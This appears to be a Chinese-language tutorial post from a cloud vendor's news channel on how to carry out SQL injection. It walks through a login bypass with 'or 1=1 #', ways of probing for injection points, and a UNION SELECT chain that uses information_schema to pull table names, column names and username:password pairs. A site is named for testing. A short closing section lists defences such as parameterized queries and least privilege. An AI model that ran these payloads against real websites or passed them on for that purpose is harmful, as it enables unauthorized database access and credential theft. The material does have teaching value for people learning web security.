您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)怎么實現(xiàn)SQL注入,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
SQL注入是指通過構(gòu)建特殊的輸入篡改原來的SQL語句達到攻擊者所需的操作。
我們訪問動態(tài)網(wǎng)頁時往往會向服務(wù)器發(fā)送請求,服務(wù)器向數(shù)據(jù)訪問層發(fā)起 Sql 查詢請求,若驗證通過就會執(zhí)行 Sql 語句。如果用戶輸入的數(shù)據(jù)被構(gòu)造成惡意Sql代碼,如果程序沒有細致地過濾用戶輸入的數(shù)據(jù)則會使非法數(shù)據(jù)侵入系統(tǒng)。
登錄案例講解
select * from admin where uname='用戶名' and pwd='密碼'
輸入 'or 1=1 #(–空格或–+或#:注釋掉后面的sql語句)
這時SQL語句變?yōu)椋?code>select * from admin where uname='' or 1=1 # and pwd='密碼',這時SQL語句永遠成立,繞過登錄。
通過在URL中修改對應(yīng)的ID值,為正常數(shù)字、大數(shù)字、字符(單引號、雙引號、雙單引號、括號)、反斜杠來探測URL中是否有注入點。
可登陸到mituan.zone進行測試
1、' '1'' LIMIT 0,1
' :多了一個單引號
可猜測SQL語句為:select login_name,password from admin where id = 'id' limit 0,1
2、' ' LIMIT 0,1
':多了一個單引號
可猜測SQL語句為:select login_name,password from admin where id = id limit 0,1
3、' '1'') LIMIT 0,1
':多了一個單引號
可猜測SQL語句為:select login_name,password from admin where id = ('id') limit 0,1
4、單引號、括號都不報錯說明被接收的是字符串類型' "1"") LIMIT 0,1
':多了一個雙引號
可猜測SQL語句為:select login_name,password from admin where id = ("id") limit 0,1
…
1、利用order by判斷字段數(shù)
order by n(n為猜測字段數(shù))--+
以案例一為例
select login_name,password from admin where id = 'id' limit 0,1 用?id=1' order by 11--+
猜測錯誤時則會報錯
此時探測到有3個字段,用?id=0' union select 1,2,3--+
探測到Login_name在第二列,Password在第三列,則第二、三列可利用。
將?id=0' union select 1,2,3--+
2,3改為user():查看當前MYSQL登錄用戶名,database():查看當前使用MYSQL數(shù)據(jù)庫名,version():查看當前MYSQL版本,如改為?id=0'union select 1,user(),database()--+
得到下圖中信息
2、利用union select 聯(lián)合查詢,獲取表名。(在使用union select時要將前面的SQL語句報錯)
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
3、利用union select 聯(lián)合查詢,獲取字段名。(以上面查詢到的users表為例)
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
4、利用union select 聯(lián)合查詢,獲取字段值。(以上面查詢到的users表為例)
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a為冒號,用來分隔不同字段的值)
如果是地址欄不能顯示信息的POST形式則可以在對話框中輸入注入語句
這里使用的方法和在地址欄中的輸入一樣,都是先報錯前面的SQL語句再使用union select聯(lián)合查詢拿出表中數(shù)據(jù)
對用戶的輸入進行過濾。如:對用戶的輸入進行校驗,可以通過正則表達式、限制長度、對單引號和雙"-"進行轉(zhuǎn)換等。
編寫程序時不要使用動態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲過程進行數(shù)據(jù)查詢存取。
不要直接使用管理員權(quán)限的數(shù)據(jù)庫連接,每個應(yīng)用使用單獨的且權(quán)限有限的數(shù)據(jù)庫。
不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
程序的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
看完上述內(nèi)容,你們對怎么實現(xiàn)SQL注入有進一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。